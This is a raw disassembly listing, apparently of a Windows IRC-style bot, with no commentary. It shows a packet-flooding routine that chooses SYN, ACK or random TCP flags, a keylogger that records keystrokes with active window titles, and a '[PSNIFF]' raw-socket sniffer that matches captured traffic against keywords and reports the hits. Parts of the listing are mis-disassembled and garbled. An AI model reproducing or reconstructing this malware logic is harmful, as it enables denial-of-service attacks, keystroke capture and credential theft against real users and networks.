		push	12345678h
		mov	[ebp-18h], ax
		call	ds:dword_42F704
		mov	[ebp-14h], eax
		lea	eax, [ebp-1BCh]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: seg000:00401EB7j
		lea	eax, [ebp-1BCh]
		push	offset aAck	; "ack"
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: seg000:00401ED7j
		lea	eax, [ebp-1BCh]
		push	offset aRandom	; "random"
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_413609
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-10h], edx
		call	sub_413609
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-0Bh], dl


loc_401F1E:				; CODE XREF: seg000:00401EC0j
					; seg000:00401EE0j ...
		push	200h
		mov	byte ptr [ebp-0Ch], 50h
		call	ds:dword_42F708
		mov	[ebp-0Ah], ax
		mov	eax, [ebp-20h]
		mov	[ebp-64h], eax
		mov	eax, [ebp-1Ch]
		push	14h
		mov	[ebp-6], bx
		mov	[ebp-8], bx
		mov	[ebp-60h], eax
		mov	[ebp-5Ch], bl
		mov	byte ptr [ebp-5Bh], 6
		call	ds:dword_42F708
		mov	[ebp-5Ah], ax
		lea	eax, [ebp-64h]
		push	20h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_413690
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-80h]
		push	eax
		call	sub_413690
		lea	eax, [ebp-0A0h]
		push	34h
		push	eax
		call	sub_408672
		mov	[ebp-8], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_413690
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_413690
		push	4
		lea	eax, [ebp-78h]
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 44h
		lea	eax, [ebp-0A0h]
		push	28h
		push	eax
		call	sub_408672
		mov	[ebp-22h], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_413690
		add	esp, 14h
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0A0h]
		push	3Ch
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_42F76C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	dword ptr [ebp+8]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: seg000:00402001j
		push	dword ptr [ebp-4]
		call	ds:dword_42F7A0
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		push	offset dword_421334
		lea	eax, [ebp-440h]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 18h
		cmp	[ebp-0A8h], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_4110B0
		add	esp, 14h


loc_402069:				; CODE XREF: seg000:00402044j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-0BCh]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_402088:				; CODE XREF: seg000:00401DD9j
		mov	ds:0FFFC75FFh, al
		adc	eax, offset dword_42F7A0
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-0B4h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-1BCh]
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_4212D0
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_4110B0
		add	esp, 14h


loc_4020FA:				; CODE XREF: seg000:004020D5j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-0BCh]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		xor	al, 55h		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+253p
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	ds:dword_41F054	; GetLocalTime
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 0A70000h
		sbb	[ebp-1137Bh], ecx
		jmp	fword ptr [eax+20h]
; ---------------------------------------------------------------------------
		sbb	al, 42h
		add	[eax-18h], dl
		jg	short near ptr loc_402168+2
		add	[eax], eax
		lea	eax, [ebp-114h]
		push	offset dword_42829C
		push	eax
		call	sub_413CD0
		lea	eax, [ebp-114h]


loc_402168:				; CODE XREF: seg000:0040214Dj
		push	offset aAb	; "ab"
		push	eax
		call	sub_413CA8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: seg000:0040217Aj
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_413C56
		push	esi
		call	sub_413C00
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_4021F6
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_421BDC
		push	200h
		push	eax
		call	sub_413B2A
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 24h


loc_4021F6:				; CODE XREF: seg000:004021BDj
		xor	eax, eax


loc_4021F8:				; CODE XREF: seg000:0040217Fj
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4021FB	proc near		; DATA XREF: seg000:0040D179o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	ds:dword_42F690
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_42F6A4
		mov	ebx, 200h


loc_402256:				; CODE XREF: sub_4021FB+2C7j
		push	8
		call	ds:dword_41F058	; Sleep
		call	ds:dword_42F690
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_42F6A4
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4135AD
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_4022E5:				; CODE XREF: sub_4021FB+2BDj
		push	10h
		call	ds:dword_42F5E8
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_42F6D4
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	ds:dword_42F5E8
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: sub_4021FB+112j
					; sub_4021FB+117j ...
		push	14h
		call	ds:dword_42F5E8
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_402359:				; CODE XREF: sub_4021FB+13Ej
					; sub_4021FB+147j ...
		test	esi, esi
		jge	short loc_40236D
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40236D:				; CODE XREF: sub_4021FB+142j
					; sub_4021FB+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40237D:				; CODE XREF: sub_4021FB+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_413DB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: sub_4021FB+1A5j
		call	sub_413DB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	ds:dword_42F690
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_42F6A4
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------


loc_4023E7:				; CODE XREF: sub_4021FB+1C5j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_413DB0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	ds:dword_42F690
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_42F6A4
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_402428:				; CODE XREF: sub_4021FB+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4135AD
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------


loc_40247F:				; CODE XREF: sub_4021FB+1EFj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD


loc_402493:				; CODE XREF: sub_4021FB+291j
		push	[ebp+arg_0]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------


loc_402498:				; CODE XREF: sub_4021FB+287j
					; sub_4021FB+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40249F:				; CODE XREF: sub_4021FB+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_413CD0
		pop	ecx
		pop	ecx


loc_4024AD:				; CODE XREF: sub_4021FB+12Ej
					; sub_4021FB+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_421BA4
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_413375
		pop	ecx
		push	0
		call	near ptr 0A70000h
		hlt
sub_4021FB	endp

; ---------------------------------------------------------------------------


loc_4024DC:				; DATA XREF: seg000:0040CFC2o
		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_413E30
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	ds:dword_42F708
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax
		call	sub_408619
		pop	ecx
		push	eax
		call	ds:dword_42F748
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	ds:dword_42F788
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short loc_4025B1
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_42261C
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4110B0
		add	esp, 14h


loc_402594:				; CODE XREF: seg000:00402572j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-30h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------


loc_4025B1:				; CODE XREF: seg000:00402552j
		mov	eax, [ebp-30h]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4348A4[eax], edi
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		call	ds:dword_42F734
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_402635+1
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_4225D4
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4110B0
		add	esp, 14h


loc_402612:				; CODE XREF: seg000:004025F0j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_409615
		pop	ecx
		push	edi
		call	ds:dword_42F7A0
		push	dword ptr [ebp-30h]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_402635:				; CODE XREF: seg000:004025D0j
		adc	al, 56h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_42F6B4
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4026B8+1
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_422588
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4110B0
		add	esp, 14h


loc_402695:				; CODE XREF: seg000:00402673j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_409615
		pop	ecx
		push	edi
		call	ds:dword_42F7A0
		push	dword ptr [ebp-30h]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_4026B8:				; CODE XREF: seg000:00402653j
		and	[ebx-45h], edx
		sbb	byte ptr [edx+eax*2], 0


loc_4026BF:				; CODE XREF: seg000:004026F7j
					; seg000:00402709j ...
		mov	edi, 0FFFFh
		lea	eax, [ebp-102B4h]
		push	edi
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-102B4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_42F720
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	byte ptr [ebp-102ABh], 6
		jnz	short loc_4026BF
		mov	eax, [ebp-102A8h]
		cmp	byte ptr [ebp-10293h], 18h
		mov	[ebp-0Ch], eax
		jnz	short loc_4026BF
		lea	eax, [ebp-1028Ch]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026BF
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4026BF
		mov	[ebp+8], ebx


loc_40272D:				; CODE XREF: seg000:00402748j
		push	eax
		lea	eax, [ebp-1028Ch]
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	dword ptr [ebp+8], 18h
		mov	eax, [ebp+8]
		jnz	short loc_40272D
		jmp	loc_4026BF
; ---------------------------------------------------------------------------


loc_40274F:				; CODE XREF: seg000:0040273Ej
		lea	eax, [ebp-1028Ch]
		push	eax
		push	dword ptr [ebp-102A0h]
		call	ds:dword_42F644
		movzx	eax, ax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_42F794
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_421C94[eax*8]
		push	ds:off_421C70[eax*4]
		lea	eax, [ebp-2B4h]
		push	offset unk_422534
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 1Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4110B0
		add	esp, 14h


loc_4027BF:				; CODE XREF: seg000:0040279Dj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_409615
		pop	ecx
		jmp	loc_4026BF
; ---------------------------------------------------------------------------


loc_4027D1:				; CODE XREF: seg000:004026EAj
		call	ds:dword_42F69C
		push	eax
		push	offset unk_4224EC
		lea	eax, [ebp-2B4h]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 10h
		cmp	[ebp-28h], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_4110B0
		add	esp, 14h


loc_402817:				; CODE XREF: seg000:004027F5j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_409615
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_42F7A0
		push	dword ptr [ebp-30h]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		adc	[ebx+46083C1h],	ecx ; CODE XREF: sub_402AB1+Ep
					; sub_402AB1+33p ...
		add	[ebx+53C30020h], al ; CODE XREF: sub_402AB1+11Ep
		mov	ebx, [esp+0Ch]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_413E5F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_402879
		push	ebx
		push	0
		push	edi
		call	sub_413630
		push	ebx
		push	dword ptr [esp+20h]
		push	edi
		call	sub_413690
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_402879:				; CODE XREF: seg000:0040285Bj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402881	proc near		; CODE XREF: sub_40297B+18p
					; sub_4029F5+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4028CD
		push	edi
		push	0
		push	esi
		call	sub_413630
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_413690
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_413690
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4028CD:				; CODE XREF: sub_402881+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_402881	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028D6	proc near		; CODE XREF: sub_40297B+5Ep
					; sub_40297B+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4028E6
		push	eax
		call	sub_413ED3
		pop	ecx


loc_4028E6:				; CODE XREF: sub_4028D6+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4028D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028EF	proc near		; CODE XREF: sub_40297B+20p
					; sub_402A56+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40291C
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_413E5F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_402920


loc_40291C:				; CODE XREF: sub_4028EF+Dj
		xor	al, al
		jmp	short loc_402977
; ---------------------------------------------------------------------------


loc_402920:				; CODE XREF: sub_4028EF+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_413630
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_402945
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40295F
; ---------------------------------------------------------------------------


loc_402945:				; CODE XREF: sub_4028EF+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40295F:				; CODE XREF: sub_4028EF+54j
		push	eax
		call	sub_413690
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_413ED3
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_402977:				; CODE XREF: sub_4028EF+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4028EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40297B	proc near		; CODE XREF: sub_402AB1+89p
					; sub_402AB1+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_42E344
		call	sub_402881
		lea	ecx, [ebp+var_8]
		call	sub_4028EF
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_413E5F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4029B5
		xor	al, al
		jmp	short loc_4029F1
; ---------------------------------------------------------------------------


loc_4029B5:				; CODE XREF: sub_40297B+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_413630
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_413690
		add	esp, 18h
		mov	ecx, esi
		call	sub_4028D6
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4028D6
		mov	al, 1


loc_4029F1:				; CODE XREF: sub_40297B+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40297B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029F5	proc near		; CODE XREF: sub_402A29+14p
					; sub_402A46+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_402881
		mov	ecx, esi
		call	sub_4028D6
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4029F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A29	proc near		; CODE XREF: sub_402AB1+F0p
					; sub_402AB1+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_413DB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4029F5
		pop	esi
		retn	4
sub_402A29	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A46	proc near		; CODE XREF: sub_402A92+Bp
					; sub_402AB1+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4029F5
		retn	8
sub_402A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A56	proc near		; CODE XREF: sub_402A92+16p
					; sub_402AB1+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4028EF
		test	al, al
		jz	short loc_402A8F
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4229CF+1)
		call	sub_402881
		mov	ecx, esi
		call	sub_4028D6
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402A8F:				; CODE XREF: sub_402A56+Fj
		pop	esi
		leave
		retn
sub_402A56	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A92	proc near		; CODE XREF: sub_402AB1+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_402A46
		test	al, al
		jz	short loc_402AAD
		mov	ecx, esi
		call	sub_402A56


loc_402AAD:				; CODE XREF: sub_402A92+12j
		pop	esi
		retn	8
sub_402A92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AB1	proc near		; CODE XREF: sub_4032B0+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
